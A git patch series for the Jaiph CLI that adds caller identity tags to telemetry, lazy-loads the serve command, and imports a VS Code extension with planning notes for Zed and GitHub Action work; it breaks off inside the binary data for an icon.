=> r())); + rmSync(dir, { recursive: true, force: true }); + } +}); + test("deliverRunTelemetryDetached: failures are tracked in bounded metrics, never thrown", async () => { const dir = mkdtempSync(join(tmpdir(), "jaiph-detached-")); const original = process.stderr.write.bind(process.stderr); diff --git a/src/cli/telemetry/otlp.ts b/src/cli/telemetry/otlp.ts index 1c57c2b9..09cb1a42 100644 --- a/src/cli/telemetry/otlp.ts +++ b/src/cli/telemetry/otlp.ts @@ -313,6 +313,13 @@ export interface ExportRunTelemetryOptions { exitStatus: number; signal: string | null; env: NodeJS.ProcessEnv; + /** + * Authenticated caller identity for a `jaiph serve` run: surfaced as OTLP + * resource attributes (`jaiph.principal`, `jaiph.correlation_id`) and Sentry + * tags. Absent for `jaiph run` / anonymous callers. Never a token or a + * secret-bearing claim. + */ + identity?: { principal?: string; correlationId?: string }; } /** Per-exporter delivery result — `sent`, `skipped` (disabled/no data), or `failed`. */ @@ -461,10 +468,13 @@ export async function exportOtlpTraces( if (lines.every((l) => l.trim().length === 0)) return "skipped"; const serviceName = env.OTEL_SERVICE_NAME?.trim() || "jaiph"; - const resourceAttrs = { + const resourceAttrs: Record = { ...parseKeyValueList(env.OTEL_RESOURCE_ATTRIBUTES), "jaiph.version": VERSION, }; + // Attach the authenticated caller identity (never a token) as resource attrs. + if (opts.identity?.principal) resourceAttrs["jaiph.principal"] = opts.identity.principal; + if (opts.identity?.correlationId) resourceAttrs["jaiph.correlation_id"] = opts.identity.correlationId; const payload = runSummaryToOtlp(lines, { workflow, exitStatus, signal, serviceName, resourceAttributes: resourceAttrs }); const headers = parseKeyValueList(env.OTEL_EXPORTER_OTLP_HEADERS); diff --git a/src/cli/telemetry/sentry.test.ts b/src/cli/telemetry/sentry.test.ts index 54978422..62ab751d 100644 --- a/src/cli/telemetry/sentry.test.ts +++ b/src/cli/telemetry/sentry.test.ts @@ -56,6 +56,19 @@ test("parseSentryDsn: malformed DSNs return null (no send)", () => { // --- Event composition ----------------------------------------------------- +test("buildSentryEvent: identity surfaces as jaiph.principal / jaiph.correlation_id tags (never a token)", () => { + const event = buildSentryEvent(fixtureLines(), { ...META, principal: "alice", correlationId: "corr-9" }); + const tags = event.tags as Record; + assert.equal(tags["jaiph.principal"], "alice"); + assert.equal(tags["jaiph.correlation_id"], "corr-9"); +}); + +test("buildSentryEvent: identity tags are absent when no principal/correlation is provided", () => { + const tags = buildSentryEvent(fixtureLines(), META).tags as Record; + assert.ok(!("jaiph.principal" in tags)); + assert.ok(!("jaiph.correlation_id" in tags)); +}); + test("buildSentryEvent: event_id is the run id UUID with dashes stripped", () => { const event = buildSentryEvent(fixtureLines(), META); assert.equal(event.event_id, "11111111222233334444555555555555"); diff --git a/src/cli/telemetry/sentry.ts b/src/cli/telemetry/sentry.ts index 9b6f1fed..764ca417 100644 --- a/src/cli/telemetry/sentry.ts +++ b/src/cli/telemetry/sentry.ts @@ -52,6 +52,10 @@ export interface SentryEventMeta { release: string; /** `environment` field — set only when `SENTRY_ENVIRONMENT` is present. */ environment?: string; + /** Authenticated caller (audit subject) — a Sentry tag; never a token. */ + principal?: string; + /** Request/correlation id — a Sentry tag. */ + correlationId?: string; } function asString(v: unknown): string { @@ -130,6 +134,8 @@ export function buildSentryEvent(lines: string[], meta: SentryEventMeta): Record if (source) tags["jaiph.source"] = basename(source); if (stepKind) tags["jaiph.step.kind"] = stepKind; if (stepName) tags["jaiph.step.name"] = stepName; + if (meta.principal) tags["jaiph.principal"] = meta.principal; + if (meta.correlationId) tags["jaiph.correlation_id"] = meta.correlationId; const extra: Record = {}; if (detail) extra.failing_step_detail = detail; @@ -206,7 +212,16 @@ export async function reportRunFailureToSentry( const release = env.SENTRY_RELEASE?.trim() || `jaiph@${VERSION}`; const environment = env.SENTRY_ENVIRONMENT?.trim() || undefined; - const event = buildSentryEvent(lines, { workflow, exitStatus, signal, runDir, release, environment }); + const event = buildSentryEvent(lines, { + workflow, + exitStatus, + signal, + runDir, + release, + environment, + principal: opts.identity?.principal, + correlationId: opts.identity?.correlationId, + }); const envelope = buildEnvelope(event, new Date().toISOString()); try { From 1294a06b56bfc1c9b1de84d3fdbde359c616bfe7 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Mon, 27 Jul 2026 19:37:51 +0200 Subject: [PATCH 18/24] Fix: lazy-load serve command to avoid loading OIDC/JWT deps for every CLI invocation --- src/cli/index.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/cli/index.ts b/src/cli/index.ts index cfed8f1b..83580582 100644 --- a/src/cli/index.ts +++ b/src/cli/index.ts @@ -9,7 +9,6 @@ import { runFormat } from "./commands/format"; import { runInstall } from "./commands/install"; import { runCompile } from "./commands/compile"; import { runMcp } from "./commands/mcp"; -import { runServe } from "./commands/serve"; import { runWorkflowRunner, WORKFLOW_RUNNER_ARG } from "../runtime/kernel/node-workflow-runner"; import { VERSION } from "../version"; @@ -69,6 +68,9 @@ export async function main(argv: string[]): Promise { return await runMcp(rest); } if (cmd === "serve") { + // Lazy import: `serve` pulls in the OIDC/JWT auth stack (`jose`) and HTTP + // server deps that every other command would otherwise pay to load. + const { runServe } = await import("./commands/serve"); return await runServe(rest); } process.stderr.write(`Unknown command: ${cmd}\n`); From 560bf3fce2f28ded76457ee8081e882ba954d0ed Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Wed, 29 Jul 2026 10:42:22 +0200 Subject: [PATCH 19/24] Chore: add monorepo homes for editor plugins and setup action Import the VS Code extension under plugins/vscode, scaffold plugins/zed and actions/setup-jaiph, and queue follow-up work to bring them up to current Jaiph. Co-authored-by: Cursor --- .gitignore | 4 +- QUEUE.md | 52 + actions/setup-jaiph/README.md | 9 + plugins/README.md | 12 + plugins/vscode/.gitignore | 149 + plugins/vscode/.vscode/launch.json | 11 + plugins/vscode/.vscodeignore | 11 + plugins/vscode/LICENSE | 21 + plugins/vscode/README.md | 29 + plugins/vscode/language-configuration.json | 32 + plugins/vscode/media/icon.png | Bin 0 -> 98111 bytes plugins/vscode/package-lock.json | 4486 +++++++++++++++++ plugins/vscode/package.json | 125 + plugins/vscode/src/diagnostics.ts | 70 + plugins/vscode/src/extension.ts | 48 + plugins/vscode/src/formatting.ts | 45 + plugins/vscode/syntaxes/fixtures/README.md | 10 + plugins/vscode/syntaxes/fixtures/sample.jph | 217 + ...jaiph-javascript-injection.tmLanguage.json | 7 + .../jaiph-markdown-injection.tmLanguage.json | 7 + .../jaiph-python-injection.tmLanguage.json | 7 + plugins/vscode/syntaxes/jaiph.tmLanguage.json | 1000 ++++ plugins/vscode/tsconfig.json | 16 + plugins/zed/README.md | 3 + 24 files changed, 6370 insertions(+), 1 deletion(-) create mode 100644 actions/setup-jaiph/README.md create mode 100644 plugins/README.md create mode 100644 plugins/vscode/.gitignore create mode 100644 plugins/vscode/.vscode/launch.json create mode 100644 plugins/vscode/.vscodeignore create mode 100644 plugins/vscode/LICENSE create mode 100644 plugins/vscode/README.md create mode 100644 plugins/vscode/language-configuration.json create mode 100644 plugins/vscode/media/icon.png create mode 100644 plugins/vscode/package-lock.json create mode 100644 plugins/vscode/package.json create mode 100644 plugins/vscode/src/diagnostics.ts create mode 100644 plugins/vscode/src/extension.ts create mode 100644 plugins/vscode/src/formatting.ts create mode 100644 plugins/vscode/syntaxes/fixtures/README.md create mode 100644 plugins/vscode/syntaxes/fixtures/sample.jph create mode 100644 plugins/vscode/syntaxes/jaiph-javascript-injection.tmLanguage.json create mode 100644 plugins/vscode/syntaxes/jaiph-markdown-injection.tmLanguage.json create mode 100644 plugins/vscode/syntaxes/jaiph-python-injection.tmLanguage.json create mode 100644 plugins/vscode/syntaxes/jaiph.tmLanguage.json create mode 100644 plugins/vscode/tsconfig.json create mode 100644 plugins/zed/README.md diff --git a/.gitignore b/.gitignore index 2b4c42a8..40e99fa3 100644 --- a/.gitignore +++ b/.gitignore @@ -29,8 +29,10 @@ jaiph.key # OS/editor files .DS_Store -.vscode/ +# Only the repo-root editor folder — do not blanket-ignore plugins/vscode/.vscode/ +/.vscode/ *.swp +*.vsix .jaiph/runs/ .jaiph/*.jaiph.map diff --git a/QUEUE.md b/QUEUE.md index 64f890c3..f40eee63 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -13,3 +13,55 @@ Process rules: 7. **Acceptance criteria are non-negotiable.** A task is not done until every acceptance bullet is verified by a test that fails when the contract is violated. "It works on my machine" or "the existing tests pass" is not acceptance. *** + +## Bring the in-tree VS Code plugin up to current Jaiph #dev-ready + +`plugins/vscode/` was imported from the old `jaiph-syntax-vscode` repo and still reflects a stale language surface (`.jph` fixtures/docs, incomplete keyword/grammar coverage, repository metadata already retargeted to this monorepo). Editor support that lies about the language is worse than no support. + +Scope: + +- Align TextMate grammar, language configuration, and fixtures with the current `.jh` / `*.test.jh` grammar (including constructs the old extension never knew: `script`, `async`, `catch`, `recover`, channels/send, tests, etc. — derive the keyword and structure set from `docs/grammar.md` / `docs/language.md` and parser sources, not from the old extension README). +- Keep diagnostics and formatting wired to the installed `jaiph` CLI (`compile` / `format`); fail clearly when the binary is missing; cover happy path and error diagnostics with automated tests that break when the CLI contract changes. +- Fix packaging metadata and docs: only `.jh`, monorepo paths, how to F5 from `plugins/vscode/`, publish/package scripts. +- Add a path-filtered CI job (or documented npm script gate) so `plugins/vscode` compile/package/tests run when that tree changes without making every core PR rebuild the extension by default. + +Acceptance: + +- Opening a fixture that exercises current language constructs highlights correctly; a regression fixture for a removed/wrong extension (e.g. `.jph`-only assumptions) fails the plugin's test suite. +- Saving a deliberately invalid `.jh` file produces at least one diagnostic sourced from `jaiph compile` (or equivalent); with `jaiph` missing from PATH and no `jaiph.compilerPath`, the extension reports a clear configuration error instead of silent success. +- `npm run compile` (and package) succeed from `plugins/vscode/`; README instructions match that layout. +- A CI path filter or equivalent check fails the PR when `plugins/vscode` grammar/tests are broken. + +## Add a Zed language extension under `plugins/zed` #dev-ready + +Zed has no Jaiph support. Zed language extensions require Tree-sitter (not TextMate), so VS Code grammars cannot be reused as-is. An empty `plugins/zed/` placeholder exists; ship a real extension there. + +Scope: + +- Create a Zed extension at `plugins/zed/` with `extension.toml` and `languages/jaiph/` (`.jh` / `*.test.jh` suffixes, comment/bracket config, highlights queries). +- Provide a Tree-sitter grammar for Jaiph (new tree under this repo, e.g. `grammars/tree-sitter-jaiph/`, unless an existing grammar already exists — do not invent a second grammar home). Pin it from `extension.toml` by repository + revision (or `file://` for local dev). +- Cover the same current-language construct set as the VS Code task (keywords, blocks, comments, strings, embedded script regions as far as Tree-sitter queries reasonably allow). +- Document local install (Zed "Install Dev Extension" pointing at `plugins/zed`) and the marketplace path (`path = "plugins/zed"` when publishing to `zed-industries/extensions`). + +Acceptance: + +- A Zed fixture `.jh` file for current constructs receives highlighting tokens for keywords, comments, and strings; a test or query-check fails if those queries regress. +- `extension.toml` builds/loads as a Zed extension from `plugins/zed/` without requiring files outside that tree except the pinned grammar. +- Docs state how to install from this monorepo path and how the grammar is version-pinned. + +## Add `actions/setup-jaiph` for CI installs #dev-ready + +Other repositories need a one-step way to install a pinned Jaiph CLI in GitHub Actions. A placeholder exists at `actions/setup-jaiph/`; ship a reusable composite (or JS) action there. + +Scope: + +- Implement `actions/setup-jaiph/action.yml` that installs Jaiph onto `PATH` for `runner.os` / arch used by GitHub-hosted runners. +- Inputs at minimum: `version` (semver / `nightly` / release tag). Prefer the same release/binary channel as `docs/setup.md` (standalone release binaries + checksums); do not require Node on the consumer workflow unless npm is an explicit documented fallback. +- Add the install directory to `GITHUB_PATH`. Fail closed on checksum (and signature when `minisign` is available) failure — match installer fail-closed policy. +- Document usage: `- uses: jaiphlang/jaiph/actions/setup-jaiph@` with a pinned version input. Optionally exercise the action from this repo's CI on a path filter so it does not bitrot. + +Acceptance: + +- A workflow using the action can run `jaiph --version` and get the requested version (or nightly) on linux and darwin runners covered by release artifacts. +- Wrong checksum / missing artifact fails the step; success leaves `jaiph` on `PATH` for subsequent steps. +- README under `actions/setup-jaiph/` shows a minimal workflow snippet that matches the implemented inputs. diff --git a/actions/setup-jaiph/README.md b/actions/setup-jaiph/README.md new file mode 100644 index 00000000..0127cac5 --- /dev/null +++ b/actions/setup-jaiph/README.md @@ -0,0 +1,9 @@ +# `setup-jaiph` GitHub Action + +Placeholder. Implement via the QUEUE task that adds `action.yml` here so workflows can install a pinned Jaiph CLI with: + +```yaml +- uses: jaiphlang/jaiph/actions/setup-jaiph@v0.11.0 + with: + version: 0.11.0 +``` diff --git a/plugins/README.md b/plugins/README.md new file mode 100644 index 00000000..2830cba4 --- /dev/null +++ b/plugins/README.md @@ -0,0 +1,12 @@ +# Editor plugins + +Jaiph editor integrations live in this monorepo so language changes and highlighting/diagnostics stay in one PR. + +| Path | Product | +|------|---------| +| [`vscode/`](vscode/) | VS Code / Cursor extension (TextMate + CLI diagnostics/format) | +| [`zed/`](zed/) | Zed extension (Tree-sitter; scaffold pending queue task) | + +CI install for other repositories lives at [`../actions/setup-jaiph/`](../actions/setup-jaiph/) (not under `plugins/` — GitHub Actions resolve as `jaiphlang/jaiph/actions/setup-jaiph@`). + +These packages are **not** part of the root `npm` package. Build and publish each directory on its own. diff --git a/plugins/vscode/.gitignore b/plugins/vscode/.gitignore new file mode 100644 index 00000000..87040c86 --- /dev/null +++ b/plugins/vscode/.gitignore @@ -0,0 +1,149 @@ +node_modules/ +*.vsix +.vscode-test/ + +# macOS +.DS_Store +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +lerna-debug.log* + +# Diagnostic reports (https://nodejs.org/api/report.html) +report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage +*.lcov + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# Bower dependency directory (https://bower.io/) +bower_components + +# node-waf configuration +.lock-wscript + +# Compiled binary addons (https://nodejs.org/api/addons.html) +build/Release + +# Dependency directories +node_modules/ +jspm_packages/ + +# Snowpack dependency directory (https://snowpack.dev/) +web_modules/ + +# TypeScript cache +*.tsbuildinfo + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Optional stylelint cache +.stylelintcache + +# Optional REPL history +.node_repl_history + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity + +# dotenv environment variable files +.env +.env.* +!.env.example + +# parcel-bundler cache (https://parceljs.org/) +.cache +.parcel-cache + +# Next.js build output +.next +out + +# Nuxt.js build / generate output +.nuxt +dist + +# Gatsby files +.cache/ +# Comment in the public line in if your project uses Gatsby and not Next.js +# https://nextjs.org/blog/next-9-1#public-directory-support +# public + +# vuepress build output +.vuepress/dist + +# vuepress v2.x temp and cache directory +.temp +.cache + +# Sveltekit cache directory +.svelte-kit/ + +# vitepress build output +**/.vitepress/dist + +# vitepress cache directory +**/.vitepress/cache + +# Docusaurus cache and generated files +.docusaurus + +# Serverless directories +.serverless/ + +# FuseBox cache +.fusebox/ + +# DynamoDB Local files +.dynamodb/ + +# Firebase cache directory +.firebase/ + +# TernJS port file +.tern-port + +# Stores VSCode versions used for testing VSCode extensions +.vscode-test + +# yarn v3 +.pnp.* +.yarn/* +!.yarn/patches +!.yarn/plugins +!.yarn/releases +!.yarn/sdks +!.yarn/versions + +# Vite logs files +vite.config.js.timestamp-* +vite.config.ts.timestamp-* + +# Jaiph +.jaiph/runs +tmp/ \ No newline at end of file diff --git a/plugins/vscode/.vscode/launch.json b/plugins/vscode/.vscode/launch.json new file mode 100644 index 00000000..a89d1272 --- /dev/null +++ b/plugins/vscode/.vscode/launch.json @@ -0,0 +1,11 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Run Extension", + "type": "extensionHost", + "request": "launch", + "args": ["--extensionDevelopmentPath=${workspaceFolder}"] + } + ] +} diff --git a/plugins/vscode/.vscodeignore b/plugins/vscode/.vscodeignore new file mode 100644 index 00000000..44c8df51 --- /dev/null +++ b/plugins/vscode/.vscodeignore @@ -0,0 +1,11 @@ +**/.git/** +**/.github/** +**/.vscode/** +**/node_modules/** +**/*.vsix +**/*.log +src/** +syntaxes/fixtures/** +tsconfig.json +.tmp-jaiph-*/** +tmp/** diff --git a/plugins/vscode/LICENSE b/plugins/vscode/LICENSE new file mode 100644 index 00000000..a8f37272 --- /dev/null +++ b/plugins/vscode/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 jaiphlang + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/plugins/vscode/README.md b/plugins/vscode/README.md new file mode 100644 index 00000000..7ea6858a --- /dev/null +++ b/plugins/vscode/README.md @@ -0,0 +1,29 @@ +# Jaiph Syntax for VS Code + +Syntax highlighting, compiler diagnostics, and formatting for Jaiph (`.jh` files). + +- Website: [jaiph.org](https://jaiph.org) +- Lives in the monorepo at `plugins/vscode/` ([jaiphlang/jaiph](https://github.com/jaiphlang/jaiph)) + +## Features + +- Highlights Jaiph keywords and structure for `.jh` / `*.test.jh` +- Compiler diagnostics on open/save via the `jaiph` CLI +- Document formatting via `jaiph format` +- Embedded grammars for script/prompt blocks (shell, python, javascript, markdown, …) + +## Local development + +1. Open **this folder** (`plugins/vscode`) in VS Code / Cursor (not the monorepo root). +2. `npm install && npm run compile` +3. Press `F5` to launch an Extension Development Host. +4. Open a `.jh` file in the new window. + +## Package + +```bash +npm install +npm run package +``` + +Produces a `.vsix` in this directory (gitignored). diff --git a/plugins/vscode/language-configuration.json b/plugins/vscode/language-configuration.json new file mode 100644 index 00000000..93b01b45 --- /dev/null +++ b/plugins/vscode/language-configuration.json @@ -0,0 +1,32 @@ +{ + "comments": { + "lineComment": "#" + }, + "brackets": [ + ["{", "}"], + ["(", ")"], + ["[", "]"] + ], + "autoClosingPairs": [ + { "open": "{", "close": "}" }, + { "open": "\"", "close": "\"" }, + { "open": "(", "close": ")" }, + { "open": "[", "close": "]" } + ], + "surroundingPairs": [ + ["{", "}"], + ["\"", "\""], + ["(", ")"], + ["[", "]"] + ], + "folding": { + "markers": { + "start": "^\\s*(config|rule|workflow|script|test|if|else|match|mock)\\b.*\\{\\s*$|^\\s*(?:(?:export\\s+)?script\\s+[A-Za-z_][A-Za-z0-9_]*\\s*=\\s*|(?:(?:const\\s+)?[A-Za-z_][A-Za-z0-9_]*\\s*=\\s*)?run\\s+)```\\s*[A-Za-z0-9_]*\\s*$|(?:prompt|log|logerr|fail|return|const\\s+[A-Za-z_][A-Za-z0-9_]*\\s*=|[A-Za-z_][A-Za-z0-9_]*\\s*<-)\\s*\"\"\"\\s*$", + "end": "^\\s*\\}\\s*$|^\\s*```\\s*(?:\\(.*\\))?\\s*$|^\\s*\"\"\"\\s*$" + } + }, + "indentationRules": { + "increaseIndentPattern": "\\{\\s*$", + "decreaseIndentPattern": "^\\s*\\}" + } +} diff --git a/plugins/vscode/media/icon.png b/plugins/vscode/media/icon.png new file mode 100644 index 0000000000000000000000000000000000000000..0295ba155d40484eac304ef58936104e2dae2407 GIT binary patch literal 98111 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 